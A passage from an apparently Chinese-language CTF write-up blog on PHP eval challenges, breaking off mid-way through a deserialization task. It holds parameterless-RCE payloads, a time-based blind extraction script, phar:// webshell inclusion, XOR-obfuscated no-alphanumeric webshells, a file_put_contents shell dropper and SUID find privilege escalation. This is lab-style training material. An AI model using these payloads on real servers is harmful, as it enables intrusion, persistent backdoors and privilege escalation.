&nbsp;  eval($A);<br>}<br>\u4f8b\u9898<\/pre>\n\n\n\n<p>\u5229\u7528\u8fd9\u4e2a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">?pds2025=print_r(scandir('.'))%3B<br>Array ( [0] =&gt; . [1] =&gt; .. [2] =&gt; index.php )<br>?pds2025=var_dump(scandir('.'))%3Barray(3) { [0]=&gt; string(1) \".\" [1]=&gt; string(2) \"..\" [2]=&gt; string(9) \"index.php\" } <br>array(3) { <br> &nbsp;  [0]=&gt; string(1) \".\" &nbsp; &nbsp;  \/\/ \u5f53\u524d\u76ee\u5f55<br> &nbsp;  [1]=&gt; string(2) \"..\" &nbsp; &nbsp; \/\/ \u4e0a\u7ea7\u76ee\u5f55 &nbsp;<br> &nbsp;  [2]=&gt; string(9) \"index.php\"  \/\/ \u5f53\u524d\u6587\u4ef6<br>}<br>?pds2025=print_r(scandir('\/'))%3B \u6839\u76ee\u5f55\u4e0b\u9762\u53d1\u73b0\u6709flag<br>\u76f4\u63a5readfile('\/flag')%3B<br>\u6b63\u5e38\u786e\u5b9e\u662f\u8fd9\u6837\u8bfb\u7684\u90a3\u5229\u7528\u5176\u4ed6\u7684\u5185\u7f6e\u51fd\u6570\u5462\ud83e\udd14\ud83e\udd14\ud83e\udd14<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u51fd\u6570<br>scandir() :\u5c06\u8fd4\u56de\u5f53\u524d\u76ee\u5f55\u4e2d\u7684\u6240\u6709\u6587\u4ef6\u548c\u76ee\u5f55\u7684\u5217\u8868\u3002\u8fd4\u56de\u7684\u7ed3\u679c\u662f\u4e00\u4e2a\u6570\u7ec4\uff0c\u5176\u4e2d\u5305\u542b\u5f53\u524d\u76ee\u5f55\u4e0b\u7684\u6240\u6709\u6587\u4ef6\u548c\u76ee\u5f55\u540d\u79f0\uff08glob()\u53ef\u66ff\u6362\uff09<br>localeconv() \uff1a\u8fd4\u56de\u4e00\u5305\u542b\u672c\u5730\u6570\u5b57\u53ca\u8d27\u5e01\u683c\u5f0f\u4fe1\u606f\u7684\u6570\u7ec4\u3002\uff08\u4f46\u662f\u8fd9\u91cc\u6570\u7ec4\u7b2c\u4e00\u9879\u5c31\u662f\u2018.\u2019\uff0c\u8fd9\u4e2a.\u7684\u7528\u5904\u5f88\u5927\uff09<br>current() \uff1a\u8fd4\u56de\u6570\u7ec4\u4e2d\u7684\u5355\u5143\uff0c\u9ed8\u8ba4\u53d6\u7b2c\u4e00\u4e2a\u503c\u3002pos()\u548ccurrent()\u662f\u540c\u4e00\u4e2a\u4e1c\u897f<br>getcwd() :\u53d6\u5f97\u5f53\u524d\u5de5\u4f5c\u76ee\u5f55<br>dirname():\u51fd\u6570\u8fd4\u56de\u8def\u5f84\u4e2d\u7684\u76ee\u5f55\u90e8\u5206<br>array_flip() :\u4ea4\u6362\u6570\u7ec4\u4e2d\u7684\u952e\u548c\u503c\uff0c\u6210\u529f\u65f6\u8fd4\u56de\u4ea4\u6362\u540e\u7684\u6570\u7ec4<br>array_rand() :\u4ece\u6570\u7ec4\u4e2d\u968f\u673a\u53d6\u51fa\u4e00\u4e2a\u6216\u591a\u4e2a\u5355\u5143<br>\u200b<br>array_reverse():\u5c06\u6570\u7ec4\u5185\u5bb9\u53cd\u8f6c<br>\u200b<br>strrev():\u7528\u4e8e\u53cd\u8f6c\u7ed9\u5b9a\u5b57\u7b26\u4e32<br>\u200b<br>getcwd()\uff1a\u83b7\u53d6\u5f53\u524d\u5de5\u4f5c\u76ee\u5f55\u8def\u5f84<br>\u200b<br>dirname() \uff1a\u51fd\u6570\u8fd4\u56de\u8def\u5f84\u4e2d\u7684\u76ee\u5f55\u90e8\u5206\u3002<br>chdir() \uff1a\u51fd\u6570\u6539\u53d8\u5f53\u524d\u7684\u76ee\u5f55\u3002<br>\u200b<br>eval()\u3001assert()\uff1a\u547d\u4ee4\u6267\u884c<br>\u200b<br>hightlight_file()\u3001show_source()\u3001readfile()\uff1a\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9<br>end() \uff1a \u5c06\u5185\u90e8\u6307\u9488\u6307\u5411\u6570\u7ec4\u4e2d\u7684\u6700\u540e\u4e00\u4e2a\u5143\u7d20\uff0c\u5e76\u8f93\u51fa<br>next() \uff1a\u5c06\u5185\u90e8\u6307\u9488\u6307\u5411\u6570\u7ec4\u4e2d\u7684\u4e0b\u4e00\u4e2a\u5143\u7d20\uff0c\u5e76\u8f93\u51fa<br>prev() \uff1a\u5c06\u5185\u90e8\u6307\u9488\u6307\u5411\u6570\u7ec4\u4e2d\u7684\u4e0a\u4e00\u4e2a\u5143\u7d20\uff0c\u5e76\u8f93\u51fa<br>reset() \uff1a \u5c06\u5185\u90e8\u6307\u9488\u6307\u5411\u6570\u7ec4\u4e2d\u7684\u7b2c\u4e00\u4e2a\u5143\u7d20\uff0c\u5e76\u8f93\u51fa<br>each() \uff1a \u8fd4\u56de\u5f53\u524d\u5143\u7d20\u7684\u952e\u540d\u548c\u952e\u503c\uff0c\u5e76\u5c06\u5185\u90e8\u6307\u9488\u5411\u524d\u79fb\u52a8<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">\u4ee3\u7801<\/h4>\n\n\n\n<pre class=\"wp-block-preformatted\">if(';' === preg_replace('\/[^\\W]+\\((?R)?\\)\/', '', $_GET['star'])) { &nbsp; &nbsp;<br> &nbsp;  eval($_GET['star']);<br>}<\/pre>\n\n\n\n<p>\u6b63\u5219\u8868\u8fbe\u5f0f <sup>\\W<\/sup>+((?R)?) \u5339\u914d\u4e86\u4e00\u4e2a\u6216\u591a\u4e2a\u975e\u6807\u70b9\u7b26\u53f7\u5b57\u7b26\uff08\u8868\u793a\u51fd\u6570\u540d\uff09\uff0c\u540e\u8ddf\u4e00\u4e2a\u62ec\u53f7\uff08\u8868\u793a\u51fd\u6570\u8c03\u7528\uff09\u3002\u5176\u4e2d (?R) \u662f\u9012\u5f52\u5f15\u7528\uff0c\u5b83\u53ea\u80fd\u5339\u914d\u548c\u66ff\u6362\u5d4c\u5957\u7684\u51fd\u6570\u8c03\u7528\uff0c\u800c\u4e0d\u80fd\u5904\u7406\u51fd\u6570\u53c2\u6570\u3002\u4f7f\u7528\u8be5\u6b63\u5219\u8868\u8fbe\u5f0f\u8fdb\u884c\u66ff\u6362\u540e\uff0c\u6bcf\u4e2a\u51fd\u6570\u8c03\u7528\u90fd\u4f1a\u88ab\u5220\u9664\uff0c\u53ea\u5269\u4e0b\u4e00\u4e2a\u5206\u53f7 ;\uff0c\u800c\u6700\u7ec8\u7ed3\u679c\u5f3a\u7b49\u4e8e\uff1b\u65f6\uff0cpayload\u624d\u80fd\u8fdb\u884c\u4e0b\u4e00\u6b65\u3002\u7b80\u800c\u8a00\u4e4b\uff0c\u65e0\u53c2\u6570rce\u5c31\u662f\u4e0d\u4f7f\u7528\u53c2\u6570\uff0c\u800c\u53ea\u4f7f\u7528\u4e00\u4e2a\u4e2a\u51fd\u6570\u6700\u7ec8\u8fbe\u5230\u76ee\u7684<\/p>\n\n\n\n<p>\u53ef\u4ee5\u5229\u7528\u5168\u5c40\u53d8\u91cf\uff0c\u4e5f\u53ef\u4ee5\u4f7f\u7528\u4e0a\u9762\u51fd\u6570\u7684\u7ec4\u5408\u62f3<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">PHP \u8d85\u7ea7\u5168\u5c40\u53d8\u91cf\u5217\u8868:<br>$GLOBALS<br>$_SERVER<br>$_REQUEST<br>$_POST<br>$_GET<br>$_FILES<br>$_ENV<br>$_COOKIE<br>$_SESSION<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">getenv<\/h5>\n\n\n\n<pre class=\"wp-block-preformatted\">getenv(name)\u53ef\u4ee5\u5229\u7528\u6b64\u51fd\u6570\u83b7\u53d6\u4e00\u4e2a\u540d\u4e3aname\u73af\u5883\u53d8\u91cf\u7684\u503c<br>\u200b<br>?star=var_dump(getenv(phpinfo())); \u8fd4\u56dephpinfo()\ud83d\udc4c<br>\u4e0d\u8fc7\u4e0d\u80fdrce\ud83d\ude22<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">get_defined_vars()<\/h5>\n\n\n\n<p>\u8fd4\u56de\u6240\u6709\u5df2\u5b9a\u4e49\u53d8\u91cf\u7684\u503c\uff0c\u6240\u7ec4\u6210\u7684\u6570\u7ec4<\/p>\n\n\n\n<p>\u8fd4\u56de\u6570\u7ec4\u987a\u5e8f\u4e3aGET-&gt;POST-&gt;COOKIE-&gt;FILES<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">print_r(get_defined_vars());<\/pre>\n\n\n\n<p>\u5982\u8bf4\u539f\u672c\u53ea\u6709\u4e00\u4e2a\u53c2\u6570a\uff0c\u90a3\u4e48\u53ef\u4ee5\u591a\u52a0\u4e00\u4e2a\u53c2\u6570b\uff0c\u540e\u9762\u5199\u5165\u6076\u610f\u8bed\u53e5\uff0cpayload\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">a=eval(end(current(get_defined_vars())));&amp;b=phpinfo(); \u8f93\u51faphpinfo()\u547d\u4ee4<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>session_id<\/strong><\/h5>\n\n\n\n<p>\u4eceCookie\u4e0b\u624b<\/p>\n\n\n\n<p>\u9996\u5148\u6211\u4eec\u9700\u8981\u5f00\u542f<code>session_start()<\/code>\u6765\u4fdd\u8bc1session_id()\u7684\u4f7f\u7528\uff0c<code>session_id<\/code>\u53ef\u4ee5\u7528\u6765\u83b7\u53d6\u5f53\u524d\u4f1a\u8bddID\uff0c\u4e5f\u5c31\u662f\u8bf4\u5b83\u53ef\u4ee5\u6293\u53d6PHPSESSID\u540e\u9762\u7684\u4e1c\u897f\uff0c\u4f46\u662fphpsession\u4e0d\u5141\u8bb8()\u51fa\u73b0<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">\u6cd5\u4e00\uff1ahex2bin\uff08\uff09<\/h5>\n\n\n\n<p>\u6211\u4eec\u81ea\u5df1\u624b\u52a8\u5bf9\u547d\u4ee4\u8fdb\u884c\u5341\u516d\u8fdb\u5236\u7f16\u7801\uff0c\u540e\u9762\u5728\u7528\u51fd\u6570hex2bin()\u89e3\u7801\u8f6c\u56de\u53bb\uff0c\u4f7f\u5f97\u540e\u7aef\u5b9e\u9645\u63a5\u6536\u5230\u7684\u662f\u6076\u610f\u4ee3\u7801\u3002\u6211\u4eec\u628a\u60f3\u8981\u6267\u884c\u7684\u547d\u4ee4\u8fdb\u884c\u5341\u516d\u8fdb\u5236\u7f16\u7801\u540e\uff0c\u66ff\u6362\u6389\u2018Cookie:PHPSESSID=\u2019\u540e\u9762\u7684\u503c<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>$encoded = bin2hex(\"phpinfo();\");<br>echo $encoded;<br>?&gt;<\/pre>\n\n\n\n<p>\u5f97\u5230phpinfo();\u7684\u5341\u516d\u8fdb\u5236\u7f16\u7801\uff0c\u5373706870696e666f28293b<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">?\u53c2\u6570=eval(hex2bin(session_id(session_start())));\u540c\u65f6\u66f4\u6539cookie\u540e\u7684\u503c\u4e3a\u60f3\u6267\u884c\u7684\u547d\u4ee4\u7684\u5341\u516d\u8fdb\u5236\u7f16\u7801<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">\u6cd5\u4e8c\uff1a[\u8bfb\u6587\u4ef6]<\/h5>\n\n\n\n<p>\u5982\u679c\u5df2\u77e5\u6587\u4ef6\u540d\uff0c\u628a\u6587\u4ef6\u540d\u5199\u5728PHPSESSID\u540e\u9762\uff0c\u6784\u9020payload\u4e3a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">readfile(session_id(session_start())); <br>Cookie:PHPSESSID=canshu.php<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">getallheaders()<\/h5>\n\n\n\n<p>getallheaders()\u8fd4\u56de\u5f53\u524d\u8bf7\u6c42\u7684\u6240\u6709\u8bf7\u6c42\u5934\u4fe1\u606f\uff0c\u5c40\u9650\u4e8eApache\uff08apache_request_headers()\u548cgetallheaders()\u529f\u80fd\u76f8\u4f3c\uff0c\u53ef\u4e92\u76f8\u66ff\u4ee3\uff0c\u4e0d\u8fc7\u4e5f\u662f\u5c40\u9650\u4e8eApache\uff09<\/p>\n\n\n\n<p>\u5f53\u786e\u5b9a\u80fd\u591f\u8fd4\u56de\u65f6\uff0c\u6211\u4eec\u5c31\u80fd\u5728\u6570\u636e\u5305\u6700\u540e\u4e00\u884c\u52a0\u4e0a\u4e00\u4e2a\u8bf7\u6c42\u5934\uff0c\u5199\u5165\u6076\u610f\u4ee3\u7801\uff0c\u518d\u7528end()\u51fd\u6570\u6307\u5411\u6700\u540e\u4e00\u4e2a\u8bf7\u6c42\u5934\uff0c\u4f7f\u5176\u6267\u884c\uff0cpayload\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">var_dump(end(getallheaders()));<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u9700\u8981\u81ea\u5df1\u6dfb\u52a0\u7684\u8bf7\u6c42\u5934\uff0c end()\u6307\u5411\u6700\u540e\u4e00\u884c\u7684\u503c\uff0c\u8fbe\u5230phpinfo\u7684\u76ee\u7684\uff0c\u7136\u540e\u53ef\u4ee5\u8fdb\u4e00\u6b65\u53bbrce\u3002<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">chdir()&amp;array_rand()\u8d4c\u72d7\u8bfb\u6587\u4ef6<\/h5>\n\n\n\n<pre class=\"wp-block-preformatted\">\u5229\u7528getcwd()\u83b7\u53d6\u5f53\u524d\u76ee\u5f55\uff1a<br>\u200b<br>var_dump(getcwd());<br>\u7ed3\u5408dirname()\u5217\u51fa\u5f53\u524d\u5de5\u4f5c\u76ee\u5f55\u7684\u7236\u76ee\u5f55\u4e2d\u7684\u6240\u6709\u6587\u4ef6\u548c\u76ee\u5f55:<br>\u200b<br>var_dump(scandir(dirname(getcwd())));<br> \u8bfb\u4e0a\u4e00\u7ea7\u6587\u4ef6\u540d\uff1a<br>show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));<br>show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));<br>show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));<br>\u200b<br>\u8bfb\u6839\u76ee\u5f55:<br>\u200b<br>ord() \u51fd\u6570\u548c chr() \u51fd\u6570\uff1a\u53ea\u80fd\u5bf9\u7b2c\u4e00\u4e2a\u5b57\u7b26\u8fdb\u884c\u8f6c\u7801\uff0cord() \u7f16\u7801\uff0cchr)\u89e3\u7801\uff0c\u6709\u6982\u7387\u4f1a\u89e3\u7801\u51fa\u659c\u6760\u8bfb\u53d6\u6839\u76ee\u5f55<br>\u200b<br>print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));<br>\u200b<br>\u8981\u7528chdir()\u56fa\u5b9a\uff0cpayload\uff1a<br>\u200b<br> show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array() )))))))))));<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">import requests<br>import string<br>import time<br>url = 'http:\/\/127.0.0.1\/1.php?star='<br>dic = string.printable[:-6]<br>flag = ''<br>for i in range(1, 50):<br>judge = 0<br>for j in dic:<br>now = f'{url}a=$(cat \/flag | head -1 | cut -b {i});if [ $a = {j}<br>];then sleep 2;fi'<br>start = time.time()<br>r = requests.get(now)<br>end = time.time()<br>if int(end) - int(start) &gt; 1:<br>judge = 1<br>flag += j<br>print(flag)<br>break<br>if judge == 0:<br>break<br>print(flag)<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u96e8<\/h2>\n\n\n\n<p>\u4e4b\u540e\u8865\u5145<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u6781\u5ba2\u5927\u6311\u62182023-web-famale_imp_l0ve<\/h2>\n\n\n\n<p>\u53ea\u80fd\u4e0a\u4f20<code>.zip<\/code><\/p>\n\n\n\n<p>\u67e5\u770b\u6e90\u7801\uff0c\u53d1\u73b0\u4e00\u4e2a\u5305\u542b\u529f\u80fd\u7684\u6587\u4ef6<code>\/include.php<\/code><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>\/\/o2takuXX\u5e08\u5085\u8bf4\u6709\u95ee\u9898\uff0c\u5fd8\u770b\u4e86\u3002<br>header('Content-Type: text\/html; charset=utf-8');<br>highlight_file(__FILE__);<br>$file = $_GET['file'];<br>if(isset($file) &amp;&amp; strtolower(substr($file, -4)) == \".jpg\"){<br> &nbsp;  include($file);<br>}<br>?&gt;<\/pre>\n\n\n\n<p>\u901a\u8fc7php\u4f2a\u534f\u8bae\u8bbf\u95ee\u4e0a\u4f20\u7684zip\u6587\u4ef6\uff0c\u4f7f\u7528<code>phar:\/\/<\/code>\u534f\u8bae\u3002<code>phar:\/\/<\/code>\u534f\u8bae\u53ef\u4ee5\u8bfb\u53d6\u4efb\u610f\u540e\u7f00\u538b\u7f29\u5305\u4e2d\u7684\u5185\u5bb9\uff0c\u5982<code>.zip<\/code>\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u5148\u4e0a\u4f20\u4e00\u4e2a1.zip\u6587\u4ef6\uff0c\u5176\u4e2d\u5305\u542b\u4e00\u53e5\u8bdd\u9a6c\uff0c\u9a6c\u6587\u4ef6\u540e\u7f00\u662f.jpg\u3002<br>GET:<br>\/include.php?file=phar:\/\/\/var\/www\/upload\/1.zip\/1.jpg<br>\u200b<br>POST:<br>cmd=system('tac \/flag');<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u6781\u5ba2\u5927\u6311\u62182023-web-EzRce<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>include('waf.php');<br>session_start();<br>show_source(__FILE__);<br>error_reporting(0);<br>$data=$_GET['data'];<br>if(waf($data)){<br> &nbsp;  eval($data);<br>}else{<br> &nbsp;  echo \"no!\";<br>}<br>?&gt;<\/pre>\n\n\n\n<p>\u8c8c\u4f3c\u8fc7\u6ee4\u5355\u4e2a\u5b57\u7b26\u548c\u6570\u5b57\uff0c\u90a3\u5c31\u65e0\u5b57\u6bcdRCE\u3002\uff08\u591a\u8bd5\u8bd5\u5c31\u77e5\u9053\u4e86\uff09<\/p>\n\n\n\n<p>\u4f7f\u7528\u5f02\u6216\u5c31\u51fa\u6765\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">?data=(\"%0f%08%0f%09%0e%06%0f\"^\"%7f%60%7f%60%60%60%60\")()%3B phpinfo()<br>\u8bfb\u53d6waf\u6587\u4ef6highlight_file('waf.php')<br>(\"%08%09%07%08%0c%09%07%08%0b%01%06%09%0c%05\"^\"%60%60%60%60%60%60%60%60%7f%5e%60%60%60%60\")(\"%08%01%06%01%0f%08%0f\"^\"%7f%60%60%2f%7f%60%7f\")%3B<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">function waf($data){ <br> &nbsp;  if(preg_match('\/[b-df-km-uw-z0-9\\+\\~\\{\\}]+\/i',$data)){<br> &nbsp; &nbsp; &nbsp;  return False;<br> &nbsp;  }else{<br> &nbsp; &nbsp; &nbsp;  return True;<br> &nbsp;  }<br>}<\/pre>\n\n\n\n<p>\u5229\u7528p\u795e\u7684<a href=\"https:\/\/www.leavesongs.com\/PENETRATION\/webshell-without-alphanum.html\">\u4e00\u4e9b\u4e0d\u5305\u542b\u6570\u5b57\u548c\u5b57\u6bcd\u7684webshell | \u79bb\u522b\u6b4c (leavesongs.com)<\/a><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); \/\/ $__='_POST';<br>$___=$$__;<br>eval($___[_]); \/\/ eval($_POST[_]);<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">payload:<br>?data=$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']')%3B$___=$$__%3Beval($___[_])%3B<br>POST:_=phpinfo()%3B<br>_=_=file_put_contents('1.php','&lt;?=eval($_POST[1]);?&gt;')%3B \u5199\u4e0a\u53bb\u5c0f\ud83d\udc0e<\/pre>\n\n\n\n<p>\u7136\u540e\u53d1\u73b0\u6253\u5f00\/flag\u6587\u4ef6\u662f\u7a7a\u7684\uff0c\u5e94\u8be5\u662f\u6ca1\u6709\u6743\u9650\uff0c\u5728\u7f51\u4e0a\u53d1\u73b0\u662fsuid\u63d0\u6743<\/p>\n\n\n\n<p><a href=\"https:\/\/blog.csdn.net\/CoreNote\/article\/details\/122093180\">\u7ea2\u961f\u7b14\u8bb0\u4e4bSuid\u63d0\u6743\u6d45\u6790\u4e0e\u5229\u7528\u65b9\u6cd5\u603b\u7ed3_suid\u63d0\u6743\u3001-CSDN\u535a\u5ba2<\/a><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">find \/ -user root -perm -4000 -print 2&gt;\/dev\/null<br>\u67e5\u770b\u6709\u6ca1\u6709\u4ec0\u4e48\u53ef\u4ee5\u8ba9\u6211\u63d0\u5347\u6743\u9650\u7684\ud83d\ude0d \u53d1\u73b0\u6709find<br>touch\u4e00\u4e2a\u6587\u4ef61<br>find 1 -exec cat \/flag \\;\u51fa\u6765flag<br>\u62ff\u5230flag\uff0c\u8bb0\u5f97\u628a\u7a7a\u683c\u8f6c\u6362\u4e3a\u4e0b\u5212\u7ebf<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u6781\u5ba2\u5927\u6311\u62182023-web-ez_php<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">\u6211\u7684\u5973\u795e\u5462\uff1f\u5feb\u5e2e\u6211\u627e\u627e<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u4eca\u5929\u662f5.20\u65e5\uff0c\u591a\u4e48\u7f8e\u597d\u7684\u8282\u65e5\uff0c\u6211\u51b3\u5b9a\u4e86\uff0c\u6211\u8981\u5411\u4f60\u8868\u8fbe\u5fc3\u610f\uff0c\u53ef\u4f60\u4e00\u76f4\u4e0d\u56de\u6211\u6d88\u606f\uff0c\u6211\u627e\u4e0d\u5230\u4f60\u4e86\uff0c\u770b\u89c1\u8fd9\u6761\u7684bro\u53ef\u4ee5\u5e2e\u6211\u627e\u5230\u5979\u5417\uff0c\u6211\u628a\u79d8\u5bc6\u85cf\u5728\u4e00\u4e2a\u9875\u9762\u91cc\u9762\u4e86\uff0c\u6211\u5148\u53bb\u51c6\u5907\u7ed9\u5979\u7684\u60ca\u559c\u4e86\uff0c\u8bf7\u4f60\u5e2e\u6211\u5148\u627e\u627e\u5979\uff0c\u627e\u5230\u5c31\u7ed9\u4f60flag\u5662<br>\u597d\u5144\u5f1f\u5feb\u6765\u5e2e\u6211\u627e<br>\u70b9\u8fdb\u53bb<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>header(\"Content-type:text\/html;charset=utf-8\"); <br>error_reporting(0);<br>show_source(__FILE__);<br>include('key.php');<br>include('waf.php');<br>\u200b<br>class Me {<br> &nbsp;  public $qwe;<br> &nbsp;  public $bro;<br> &nbsp;  public $secret;<br>\u200b<br> &nbsp;  public function __wakeup() {<br> &nbsp; &nbsp; &nbsp;  echo(\"\u8fdb\u6765\u5566&lt;br&gt;\");<br> &nbsp; &nbsp; &nbsp;  $characters = 'abcdefghijklmnopqrstuvwxyz0123456789';<br> &nbsp; &nbsp; &nbsp;  $randomString = substr(str_shuffle($characters), 0, 6);<br> &nbsp; &nbsp; &nbsp;  $this-&gt;secret=$randomString;<br>\u200b<br> &nbsp; &nbsp; &nbsp;  if($this-&gt;bro===$this-&gt;secret){<br> &nbsp; &nbsp; &nbsp;  $bb = $this-&gt;qwe; &nbsp; &nbsp; &nbsp; &nbsp;<br> &nbsp; &nbsp; &nbsp;  return $bb();<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp; &nbsp;<br> &nbsp; &nbsp; &nbsp;  else{<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo(\"\u9519\u4e86\u54e5\u4eec,\u518d\u8bd5\u8bd5\u5427&lt;br&gt;\");<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp;  }<br>\u200b<br>}<br>\u200b<br>class her{<br> &nbsp;  private $hername;<br> &nbsp;  private $key;<br> &nbsp;  public $asd;<br> &nbsp;  public function __invoke() {<br> &nbsp; &nbsp; &nbsp;  echo(\"\u597d\u7d2f\uff0c\u597d\u60f3\u7761\u4e00\u89c9\u554a&lt;br&gt;\");<br> &nbsp; &nbsp; &nbsp;  serialize($this-&gt;asd);<br> &nbsp;  }<br>\u200b<br> &nbsp;  public function find() {<br> &nbsp; &nbsp; &nbsp;  echo(\"\u4f60\u80fd\u627e\u5230\u52a0\u5bc6\u7528\u7684key\u548c\u5979\u7684\u540d\u5b57\u5417\uff1fqwq&lt;br&gt;\");<br> &nbsp; &nbsp; &nbsp;  if (encode($this-&gt;hername,$this-&gt;key) === 'vxvx') {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo(\"\u89e3\u5bc6\u6210\u529f\uff01&lt;br&gt;\");<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $file=$_GET['file'];<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if (isset($file) &amp;&amp; (file_get_contents($file,'r') === \"loveyou\"))<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo(\"\u5feb\u70b9\u7684\uff0c\u6025\u6025\u6025\uff01\uff01\uff01&lt;br&gt;\");<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo new $_POST['ctf']($_GET['fun']);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  else{<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo(\"\u771f\u7684\u53ea\u5dee\u4e00\u6b65\u4e86\uff01&lt;br&gt;\");<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp;  else{<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo(\"\u5144\u5f1f\u600e\u4e48\u641e\u7684\uff1f&lt;br&gt;\");<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp;  }<br>}<br>\u200b<br>class important{<br> &nbsp;  public $power;<br>\u200b<br> &nbsp;  public function __sleep() {<br> &nbsp; &nbsp; &nbsp;  echo(\"\u7761\u9971\u4e86\uff0c\u63a5\u7740\u627e\uff01&lt;br&gt;\");<br> &nbsp; &nbsp; &nbsp;  return $this-&gt;power-&gt;seeyou;<br> &nbsp;  }<br>}<br>\u200b<br>class useless {<br> &nbsp;  private $seeyou;<br> &nbsp;  public $QW;<br> &nbsp;  public $YXX;<br>\u200b<br> &nbsp;  public function __construct($seeyou) {<br> &nbsp; &nbsp; &nbsp;  $this-&gt;seeyou = $seeyou;<br> &nbsp;  }<br>\u200b<br> &nbsp;  public function __destruct() {<br> &nbsp; &nbsp; &nbsp;  $characters = '0123456789';<br> &nbsp; &nbsp; &nbsp;  $random = substr(str_shuffle($characters), 0, 6);<br>\u200b<br> &nbsp; &nbsp; &nbsp;  if (!preg_match('\/key\\.php\\\/*$\/i', $_SERVER['REQUEST_URI'])){<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if((strlen($this-&gt;QW))&lt;80 &amp;&amp; strlen($this-&gt;YXX)&lt;80){<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $bool=!is_array($this-&gt;QW)&amp;&amp;!is_array($this-&gt;YXX)&amp;&amp;(md5($this-&gt;QW) === md5($this-&gt;YXX)) &amp;&amp; ($this-&gt;QW != $this-&gt;YXX) and $random==='newbee';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if($bool){<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo(\"\u5feb\u62ff\u5230\u6211\u7684\u5c0f\u79d8\u5bc6\u4e86&lt;br&gt;\");<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $a = isset($_GET['a'])? $_GET['a']: \"\" ;<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if(!preg_match('\/HTTP\/i', $a)){<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo (basename($_SERVER[$a]));<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo ('&lt;br&gt;');<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if(basename($_SERVER[$a])==='key.php'){<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  